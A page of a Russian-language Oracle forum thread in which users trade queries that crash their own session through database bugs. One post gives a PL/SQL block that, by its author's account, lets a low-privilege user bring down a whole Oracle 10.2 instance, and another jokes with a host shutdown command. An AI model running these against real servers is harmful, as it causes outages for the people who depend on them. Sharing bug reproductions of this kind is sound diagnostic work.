powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Oracle [игнор отключен] [закрыт для гостей] / пятничная задачка - убить себя одним SELECT-ом
25 сообщений из 114, страница 4 из 5
пятничная задачка - убить себя одним SELECT-ом
    #37083178
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
xtenderВ продолжение проблемки с collect решил попробовать свой агрегат для аналитики:
...
Но проблема осталась... Совершенно не понимаю в чем подвох...По крайней мере точно ясно, UDAG, возвращающий коллекцию явно с багами.
Вот еще:
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
SQL> select cast(collect(cast(num as number)) over (order by num) as sys.odcinumberlist)
   2     from (select  1  num from dual connect by level <=  2 );
 
CAST(COLLECT(CAST(NUMASNUMBER)
------------------------------
<Object>
<Object>
SQL> select cast(collect(cast(num as number)) over (order by num) as sys.odcinumberlist)
   2     from (select level num from dual connect by level <=  2 );
 
select cast(collect(cast(num as number)) over (order by num) as sys.odcinumberlist)
  from (select level num from dual connect by level <=  2 )
 
ORA- 03113 : end-of-file on communication channel
Я сам на это напоролся вчера когда решал одну задачку (но думал что где-то в документации не досмотрел): Query challenge .
Там два Oracle ACE не знали как к решению нормально приплести UDAG. :)
А так еще было бы забавное решение с collect и без join, если б работал over (order by ...), но не судьба.
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084532
andreymx
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
А есть ли оракловая команда, чтобы убить свою сессию?

т.к. стандартный ALTER SYSTEM KILL SESSION к своей сесии

выдаёт стандартное же

ORA-00027: невозможно удалить текущий сеанс


ЗЫ: нужно для отладки пользователю, у которого админ прав нет
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084590
Фотография orawish
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
andreymxА есть ли оракловая команда, чтобы убить свою сессию?

т.к. стандартный ALTER SYSTEM KILL SESSION к своей сесии

выдаёт стандартное же

ORA-00027: невозможно удалить текущий сеанс


ЗЫ: нужно для отладки пользователю, у которого админ прав нет
stff ~ харакири
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084592
Фотография -2-
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
andreymxА есть ли оракловая команда, чтобы убить свою сессию?
Код: plaintext
1.
SQL> exit
Disconnected from Oracle Database
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084614
andreymx
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
-2-,

надо именно убить :)
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084620
Фотография orawish
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
[quot dbms_photoshop]xtender..;

select cast(collect(cast(sysdate as date)) over(order by level) as sys.odcidatelist) dt_table
from dual
connect by level < 3

ORA-03113: end-of-file on communication channel[/src]

кстати, мой клиент это выдержал.
т.е., исполнять то не стал, но и сессию не грохнул - а сказал, что:
On Fetch: ORA-00932: несовместимые типы данных: ожидается CHAR, получено ARRAY
из чего я решил попробовать в sqlplus то же для level < 1 ну и
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
Присоединен к:
Oracle Database 11g Enterprise Edition Release  11 . 2 . 0 . 1 . 0  - 64bit Production
With the Partitioning, OLAP and Real Application Testing options

SQL> select cast(collect(cast(sysdate as date)) over(order by level) as sys.odcidatelist) dt_table
   2     from dual
   3   connect by level <  1 ;

DT_TABLE
--------------------------------------------------------------------------------
ODCIDATELIST('28.01.11')
значит, наверное, таки он-фетч
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084651
Фотография orawish
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
orawish,

ну и level < 2 тоже работает и аналогично level < 1 () возвращает одну строку
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084657
Фотография -2-
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
andreymxнадо именно убить :)В чем разница?
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084671
andreymx
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
-2-andreymxнадо именно убить :)В чем разница?нет ошибок 00028 01012
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084713
Фотография -2-
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
andreymx-2-пропущено...
В чем разница?нет ошибок 00028 01012после disconnect последующие обращения к сеансовым функциям приведут к 01012.
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37084872
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
orawishну и level < 2 тоже работает и аналогично level < 1 () возвращает одну строкуИ что в этом удивительного?
Все по букварю.
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
SQL> select * from dual connect by level <  1 ;
 
DUMMY
-----
X
SQL> select * from dual connect by level <  2 ;
 
DUMMY
-----
X
collect over (order by ...) здесь ни при чем.
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37085120
an0nym
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Такое решение подойдет?
Код: plaintext
1.
2.
3.
4.
5.
WITH t AS(
            SELECT CURRENT_TIMESTAMP                    ts FROM dual
  UNION ALL SELECT CURRENT_TIMESTAMP AT TIME ZONE 'UTC'    FROM dual
)
          SELECT COUNT(DISTINCT ts) cnt FROM t
UNION ALL SELECT COUNT(          *)     FROM (SELECT DISTINCT ts FROM t);
ERROR at line 1:
ORA-03113: end-of-file on communication channel
Process ID: 1245
Session ID: 196 Serial number: 54950
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, Oracle Label Security, OLAP, Data Mining,
Oracle Database Vault and Real Application Testing options
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37085130
Фотография Corner
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Код: plaintext
SQL> host shutdown -f  1 
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37085189
Фотография orawish
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
dbms_photoshoporawishну и level < 2 тоже работает и аналогично level < 1 () возвращает одну строкуИ что в этом удивительного?
Все по букварю.
..
collect over (order by ...) здесь ни при чем.
да, точно.

(пойду напьюсь :)
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37085273
andreymx
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
-2-andreymxА есть ли оракловая команда, чтобы убить свою сессию?
Код: plaintext
1.
SQL> exit
Disconnected from Oracle Database
exit - вроде ж команда плюса?
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37085286
Фотография -2-
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
andreymx-2-
Код: plaintext
1.
SQL> exit
Disconnected from Oracle Database
exit - вроде ж команда плюса?У вас пользователи работают с базой не через стандартный инструмент, а через какой-то самописный?!!
Тогда, например, так:
Код: plaintext
1.
2.
java.sql.Connection con;
...
con.close();
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37085314
andreymx
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
-2-,

мне надо выйти из сессии нештатным способом, не используя OracleSession1.Connected := false
http://www.sql.ru/forum/actualthread.aspx?tid=824399
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37161461
Фотография Кобанчег
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Себя убить - это как-то мелко.
Одним SELECT-ом можно убить весь экземпляр, причем имея только привелегию create session.
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
C:\Windows\system32>sqlplus -s / as sysdba
select * from v$version where rownum =  1 ;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release  10 . 2 . 0 . 4 . 0  - 64bi

create user instance_killer identified by instance_killer;

User created.

grant create session to instance_killer;

Grant succeeded.

exit

C:\Windows\system32>sqlplus -s instance_killer/instance_killer
DECLARE
    n         NUMBER :=  200000 ;
    c         VARCHAR2( 4000 );
    body_list dbms_sql.varchar2a;
    l_cursor  INTEGER DEFAULT dbms_sql.open_cursor;
    res       INTEGER;
BEGIN
    body_list( 1 ) := 'select';
    FOR i IN  1  .. n
    LOOP
        c := c || to_char(i) || ',';
        IF MOD(i,  20 ) =  19  THEN
            body_list(body_list.COUNT +  1 ) := c;
            c := '';
        END IF;
    END LOOP;
    body_list(body_list.COUNT +  1 ) := c;
    body_list(body_list.COUNT +  1 ) := ('0 from dual');
    FOR i IN  1  .. body_list.COUNT
    LOOP
        dbms_output.put_line(body_list(i));
    END LOOP;
    dbms_sql.parse(l_cursor,
                   body_list,
                   body_list.FIRST,
                   body_list.LAST,
                   TRUE,
                   dbms_sql.native);
    res := dbms_sql.EXECUTE(l_cursor);
END;
/
    n         NUMBER :=  200000 ;
                            *
ERROR at line  2 :
ORA- 03113 : end-of-file on communication channel
Process ID:  0 
Session ID:  149  Serial number:  31 


exit

C:\Windows\system32>sqlplus -s instance_killer/instance_killer
ERROR:
ORA- 12541 : TNS:no listener
Надеюсь не надо объяснять почему это один select. Весь вышенаписанный код представлен только для краткости воспроизведения.
По мотивам 10’000 columns in a query .
На 11.2.0.1 пофиксено.
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37168145
Фотография AmKad
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Решил поиграться с тройной аналитикой. А так, по-отдельности (по 1 или 2) - они хорошие ребята.
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
SQL> select * from v$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release  11 . 2 . 0 . 2 . 0  - 64bit Production
PL/SQL Release  11 . 2 . 0 . 2 . 0  - Production
CORE     11 . 2 . 0 . 2 . 0       Production
TNS for Linux: Version  11 . 2 . 0 . 2 . 0  - Production
NLSRTL Version  11 . 2 . 0 . 2 . 0  - Production

SQL>
SQL> with s as
   2   (select trunc(level/ 2 ) id, level sm from dual connect by level <=  10 
   3   )
   4   select id, sm
   5   --,last_value(sm) over (order by id) fv_1
   6   ,last_value(sm) over (order by id range between unbounded preceding and current row) fv_2
   7   ,last_value(sm) over (order by id range between unbounded preceding and  0  preceding) fv_3
   8   from s;

        ID         SM       FV_2       FV_3
---------- ---------- ---------- ----------
          0            1            1            1 
          1            2            3            3 
          1            3            3            3 
          2            4            5            5 
          2            5            5            5 
          3            6            7            7 
          3            7            7            7 
          4            8            9            9 
          4            9            9            9 
          5           10           10           10 

 10  строк выбрано.

SQL>
SQL> with s as
   2   (select trunc(level/ 2 ) id, level sm from dual connect by level <=  10 
   3   )
   4   select id, sm
   5   ,last_value(sm) over (order by id) fv_1
   6   --,last_value(sm) over (order by id range between unbounded preceding and current row) fv_2
   7   ,last_value(sm) over (order by id range between unbounded preceding and  0  preceding) fv_3
   8   from s;

        ID         SM       FV_1       FV_3
---------- ---------- ---------- ----------
          0            1            1            1 
          1            2            3            3 
          1            3            3            3 
          2            4            5            5 
          2            5            5            5 
          3            6            7            7 
          3            7            7            7 
          4            8            9            9 
          4            9            9            9 
          5           10           10           10 

 10  строк выбрано.

SQL>
SQL> with s as
   2   (select trunc(level/ 2 ) id, level sm from dual connect by level <=  10 
   3   )
   4   select id, sm
   5   ,last_value(sm) over (order by id) fv_1
   6   ,last_value(sm) over (order by id range between unbounded preceding and current row) fv_2
   7   --,last_value(sm) over (order by id range between unbounded preceding and 0 preceding) fv_3
   8   from s;

        ID         SM       FV_1       FV_2
---------- ---------- ---------- ----------
          0            1            1            1 
          1            2            3            3 
          1            3            3            3 
          2            4            5            5 
          2            5            5            5 
          3            6            7            7 
          3            7            7            7 
          4            8            9            9 
          4            9            9            9 
          5           10           10           10 

 10  строк выбрано.

SQL>
SQL> with s as
   2   (select trunc(level/ 2 ) id, level sm from dual connect by level <=  10 
   3   )
   4   select id, sm
   5   ,last_value(sm) over (order by id) fv_1
   6   ,last_value(sm) over (order by id range between unbounded preceding and current row) fv_2
   7   ,last_value(sm) over (order by id range between unbounded preceding and  0  preceding) fv_3
   8   from s;
with s as
*
ошибка в строке  1 :
ORA- 03113 : принят сигнал конца файла по коммуникационному каналу
Идентификатор процесса:  10482 
Идентификатор сеанса:  136  Порядковый номер:  41501 


SQL>

http://download.oracle.com/docs/cd/E11882_01/server.112/e17118/functions004.htm#SQLRF06174 If you specified RANGE:

value_expr is a logical offset. It must be a constant or expression that evaluates to a positive numeric value or an interval literal.
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37168510
Фотография orawish
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
AmKad,

баг, конечно, но (ваааще), не аналитика (имхо)
в том смысле, что не вычисление
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
Oracle Database 11g Enterprise Edition Release  11 . 2 . 0 . 1 . 0  - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> set line  200 
SQL>  with s as
   2   (select trunc(level/ 2 ) id, level sm from dual connect by level <=  10 
   3   )
   4   select id, sm
   5   ,+last_value(sm) over (order by id) fv_0
   6   , 0 +last_value(sm) over (order by id) fv_0
   7   ,cast(last_value(sm) over (order by id) as number) fv_0
   8   ,last_value(sm) over (order by id range between unbounded preceding and  0  following) fv_1
   9   ,last_value(sm) over (order by id range between unbounded preceding and current row) fv_2
  10   ,last_value(sm) over (order by id range between unbounded preceding and  0  preceding) fv_3
  11   from s;

        ID         SM       FV_0       FV_0       FV_0       FV_1       FV_2       FV_3
---------- ---------- ---------- ---------- ---------- ---------- ---------- ----------
          0            1            1            1            1            1            1            1 
          1            2            3            3            3            3            3            3 
          1            3            3            3            3            3            3            3 
          2            4            5            5            5            5            5            5 
          2            5            5            5            5            5            5            5 
          3            6            7            7            7            7            7            7 
          3            7            7            7            7            7            7            7 
          4            8            9            9            9            9            9            9 
          4            9            9            9            9            9            9            9 
          5           10           10           10           10           10           10           10 

 10  rows selected.
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37168712
Фотография dbms_photoshop
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Как говорится, вспомнить старенькое...
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
SQL> select * from v$version where rownum =  1 ;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release  10 . 2 . 0 . 1 . 0  - Prod

SQL> select * from v$sql_plan_statistics_all where object_name = 'hello world';
ERROR:
ORA- 03113 : принят сигнал конца файла по коммуникационному каналу



строки не выбраны

SQL>
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37429101
Фотография -2-
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
Connected to:
Oracle Database 11g Enterprise Edition Release  11 . 2 . 0 . 2 . 0  - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> var c refcursor
SQL> exec open :c for select  1  from dual union all select  2  from dual

PL/SQL procedure successfully completed.

SQL> select :c from dual;

:C
----------------------
CURSOR STATEMENT :  1 

CURSOR STATEMENT :  1 

          1 
----------
          1 
          2 

SQL> /
select :c from dual
*
ERROR at line  1 :
ORA- 00604 : error occurred at recursive SQL level  1 
ORA- 01001 : invalid cursor

SQL> exec open :c for select  1  from dual union all select  2  from dual
BEGIN open :c for select  1  from dual union all select  2  from dual; END;

*
ERROR at line  1 :
ORA- 03113 : end-of-file on communication channel
Process ID:  32498 
Session ID:  4  Serial number:  4167 
-------------------------------
ORA- 07445 : exception encountered: core dump [pfrdsl()+ 35 ] [SIGSEGV] [ADDR:0x5B] [PC:0x84890F1] [Address not mapped to object] []
ORA- 07445 : exception encountered: core dump [pevm_EXECC()+ 518 ] [SIGSEGV] [ADDR:0x7F2900000008] [PC:0x91F4A52] [Address not mapped to object] []
ORA- 00600 : internal error code, arguments: [ 17285 ], [0x7F29D97D4758], [ 1 ], [0x25E1107B8], [], [], [], [], [], []
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37429133
Фотография orawish
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
-2-,

а на 32 битном виндовозе (11.2.0.2.0) всё (вроде бы) адекватно
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
Присоединен к:
Oracle Database 11g Enterprise Edition Release  11 . 2 . 0 . 2 . 0  - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> var c refcursor
SQL> exec open :c for select  1  from dual union all select  2  from dual

Процедура PL/SQL успешно завершена.

SQL> select :c from dual;

:C                                                                              
--------------------                                                            
CURSOR STATEMENT :  1                                                             

CURSOR STATEMENT :  1 

          1                                                                       
----------                                                                      
          1                                                                       
          2                                                                       


SQL> /
select :c from dual
*
ошибка в строке  1 :
ORA- 00604 : ошибка на рекурсивном SQL-уровне  1  
ORA- 01001 : неверный курсор 


SQL> exec open :c for select  1  from dual union all select  2  from dual
BEGIN open :c for select  1  from dual union all select  2  from dual; END;

*
ошибка в строке  1 :
ORA- 01001 : неверный курсор 
ORA- 06512 : на  line  1  
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37429158
Фотография pravednik
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
orawish,

аналогично и на SunOS 5.10 sparc (11,2,0,2 + PSU3)
...
Рейтинг: 0 / 0
пятничная задачка - убить себя одним SELECT-ом
    #37429177
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
-2-
Код: plaintext
1.
2.
Oracle Database 11g Enterprise Edition Release  11 . 2 . 0 . 2 . 0  - 64bit Production
ORA- 07445 : exception encountered: core dump [pfrdsl()+ 35 ] [SIGSEGV] [ADDR:0x5B] [PC:0x84890F1] [Address not mapped to object] []
Какое приложение? Скорее всего, больше виновато оно.
...
Рейтинг: 0 / 0
25 сообщений из 114, страница 4 из 5
Форумы / Oracle [игнор отключен] [закрыт для гостей] / пятничная задачка - убить себя одним SELECT-ом
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]